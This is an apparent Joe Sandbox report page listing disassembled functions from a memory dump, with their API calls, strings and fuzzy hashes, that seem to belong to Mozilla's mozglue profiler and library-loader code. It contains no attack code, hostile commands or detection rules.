Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction ID: 208ccdbd87625670ab991a65d271c1716eca94467f10ac90ac706d2c07ba0b37
Opcode Fuzzy Hash: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction Fuzzy Hash: 60F0A470A4420CAEDF099AA5CD85BDE77BD9B4432BF109139D511715C0D774998CC76C

Function 6C5C4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5C4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C5585, 6C5C55A8, 6C5C55C3, 6C5C5624

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction ID: 552be4bf32a83cc4ebc5c9010f34cddcdac87935008786bab9075b186aa3e047
Opcode Fuzzy Hash: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction Fuzzy Hash: D8B28F71B056018FD308CF99C990725BBE2BFC5328B29C76DE4698B7A5D771E841CB82

Function 6C6085F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C608C7C
__aulldiv.LIBCMT ref: 6C608DD7

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: be2a872b49d769d3c629b90ada2b01e3486ff575f3cbb3d8df408d88d4d594d9
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 63328F31F101198BDF1CCE9CC9A17AEB7B6FB88304F16853AD406BB7A0DA349D458B95

Function 6C6176E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C6179FB, 6C617E0B, 6C6179C0, 6C617796, 6C617B0B, 6C61793C

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: a3cc26e547993f11bc2f97b632f64410c61ae1d9ae32e34ce59531f6f6a9e01d
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 62320A71E046198FCB14CF99C890AADFBF2FF88308F648169C549A7B45D731A986CF94

Function 6C616E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C6179FB, 6C617E0B, 6C6179C0, 6C617C72, 6C617B0B, 6C617C03, 6C61793C

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 19bda37819bdebe1013a50c67d88af55cd5de13f1e8fae335f1313da59a29b9d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F1220975E042198FCB14CF98C880AADF7F2FF88304F6485AAC549A7B45D731A986CF94

Function 6C5E5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5B4A63,?,?), ref: 6C5E5F06

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction ID: 20a62045daa545c748688c10d1c00a7ab334133c17567e59010db0afb843842a
Opcode Fuzzy Hash: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction Fuzzy Hash: E7C1D275D012098BCB04CF99C9906EEBBF2FF8A318FA8415DD8556BB45D732A906CF90

Function 6C5ADFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction ID: 612a26bbb24358c9d08b0fa2d354c2cfbfec2c92590e9b4fd25579913ee2ef82
Opcode Fuzzy Hash: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction Fuzzy Hash: 8742C332A087518BD308CE7DC89135EB3E2BFC9364F094B2DE999A7791D774D9428B81

Function 6C5D0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 6b274da699a51902576afb2007428f7aa8669ff043b9c833f60765cb011d3446
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE221671E00619CFCB14CF98C890AADF7B2FF88314F55869AD44AA7705D731A986CF84

Function 6C61AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction ID: b42411a1024763ab42fed08c8b48809b8ea30ec380ff29545556e980984c3241
Opcode Fuzzy Hash: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction Fuzzy Hash: B7F13971A0C7454FD700CE2CC8913AAB7E2AFC531AF158A2DE4D487F92E774988D8796

Function 6C5AC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 4d7c41bfe003d8dcb3dbffc77e1c1a09eb23f250caaf566cdf5819a47df85da6
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 4BA1A171F0021A8FDB08CEA9C8913AEB7F2AFC9354F188129D915E7791D7356C068BD0

Function 6C5E7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction ID: d2cc4dba08e2ff8cb1fdc1250148e3caee2d0161a273321c49d7eebb577c9cf8
Opcode Fuzzy Hash: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction Fuzzy Hash: 34717C75E052198FCB08CFA9D8906EDBBB2FF89354F24812ED815AB741D731A945CB90

Function 6C5ECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5B582D), ref: 6C5ECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5B582D), ref: 6C5ECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C61FE98,?,?,?,?,?,6C5B582D), ref: 6C5ECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5ECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5ECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5ECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5ECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5ECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5ECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5ECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5ECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5ECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5ECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5ECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5ECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5ECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5ECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5ECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5ECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5ECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5ECE8A

Strings

screenshots, xrefs: 6C5ECCD4
stackwalk, xrefs: 6C5ECCF8
power, xrefs: 6C5ECE84
notimerresolutionchange, xrefs: 6C5ECE00
noiostacks, xrefs: 6C5ECCBE
samplingallthreads, xrefs: 6C5ECE2C
mainthreadio, xrefs: 6C5ECC7C
jsallocations, xrefs: 6C5ECD0E
fileioall, xrefs: 6C5ECCA8
audiocallbacktracing, xrefs: 6C5ECDD4
nativeallocations, xrefs: 6C5ECDA8
default, xrefs: 6C5ECC21
markersallthreads, xrefs: 6C5ECE42
leaf, xrefs: 6C5ECC66
cpuallthreads, xrefs: 6C5ECE16
fileio, xrefs: 6C5ECC92
processcpu, xrefs: 6C5ECE6E
java, xrefs: 6C5ECC37
ipcmessages, xrefs: 6C5ECDBE
seqstyle, xrefs: 6C5ECCE6
nostacksampling, xrefs: 6C5ECD7C
unregisteredthreads, xrefs: 6C5ECE58
Unrecognized feature "%s"., xrefs: 6C5ECEA0
preferencereads, xrefs: 6C5ECD92

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction ID: 393fb66a07737cea417b6c975e6b01fe38d7e650c0b50591e21ee837e370fadf
Opcode Fuzzy Hash: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction Fuzzy Hash: 5A51CCF19092A561FA05B1191E20BEE1C45EF5B24BF106436EE1BA1F80FF06F61949BF

Function 6C5B47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B482D
__Init_thread_footer.LIBCMT ref: 6C5B484A

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

GetCurrentThreadId.KERNEL32 ref: 6C5B485F
GetCurrentThreadId.KERNEL32 ref: 6C5B487E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B488B
free.MOZGLUE(?), ref: 6C5B493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B4956
free.MOZGLUE(00000000), ref: 6C5B4960
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B499A

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

free.MOZGLUE(?), ref: 6C5B49C6
free.MOZGLUE(?), ref: 6C5B49E9

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B47FC
[I %d/%d] profiler_shutdown, xrefs: 6C5B4A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C5B4A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B4828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B4812

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction ID: f3ad5d9ad4f67e53582ca730284b80af8bf1982027658d5b877168efa05412ae
Opcode Fuzzy Hash: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction Fuzzy Hash: 8181E571A00110CBDB20DF69CCA475A7B75FF82318F540629E916A7B42E73AE845CB9F

Function 6C5B4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
Part of subcall function 6C5B4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5B44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5B44D2
InitOnceExecuteOnce.KERNEL32(6C62F80C,6C5AF240,?,?), ref: 6C5B451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B455C
LoadLibraryW.KERNEL32(?), ref: 6C5B4592
InitializeCriticalSection.KERNEL32(6C62F770), ref: 6C5B45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5B45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5B45BB
InitOnceExecuteOnce.KERNEL32(6C62F818,6C5AF240,?,?), ref: 6C5B4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5B4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5B4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B466D
VerSetConditionMask.NTDLL ref: 6C5B469F
VerSetConditionMask.NTDLL ref: 6C5B46AB
VerSetConditionMask.NTDLL ref: 6C5B46B2
VerSetConditionMask.NTDLL ref: 6C5B46B9
VerSetConditionMask.NTDLL ref: 6C5B46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5B46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5B46FD

Strings

l, xrefs: 6C5B4578
kernel32.dll, xrefs: 6C5B44CD
Gbl, xrefs: 6C5B44FC
NativeNtBlockSet_Write, xrefs: 6C5B46F7
user32.dll, xrefs: 6C5B4557, 6C5B463F
WRusr.dll, xrefs: 6C5B44B5

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gbl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3324001954
Opcode ID: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction ID: cff88caaebaecf6036a6618cd64cac75ac8956e8d5328bba4cbe5482e6b61ac3
Opcode Fuzzy Hash: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction Fuzzy Hash: 0A615BB0604354AFEB209F62CC85B957FB8EF82308F04855CE545AB641D3BD9945CF5A

Function 6C5EF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C5EF8F9

Part of subcall function 6C5B6390: GetCurrentThreadId.KERNEL32 ref: 6C5B63D0
Part of subcall function 6C5B6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5B63DF
Part of subcall function 6C5B6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5B640E

ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF93A
GetCurrentThreadId.KERNEL32 ref: 6C5EF98A
GetCurrentThreadId.KERNEL32 ref: 6C5EF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF716

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5AB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5AB5E0

GetCurrentThreadId.KERNEL32 ref: 6C5EF739
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF746
GetCurrentThreadId.KERNEL32 ref: 6C5EF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C62385B,00000002,?,?,?,?,?), ref: 6C5EF829
free.MOZGLUE(?,?,00000000,?), ref: 6C5EF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C5EF866
free.MOZGLUE(?), ref: 6C5EFA0C

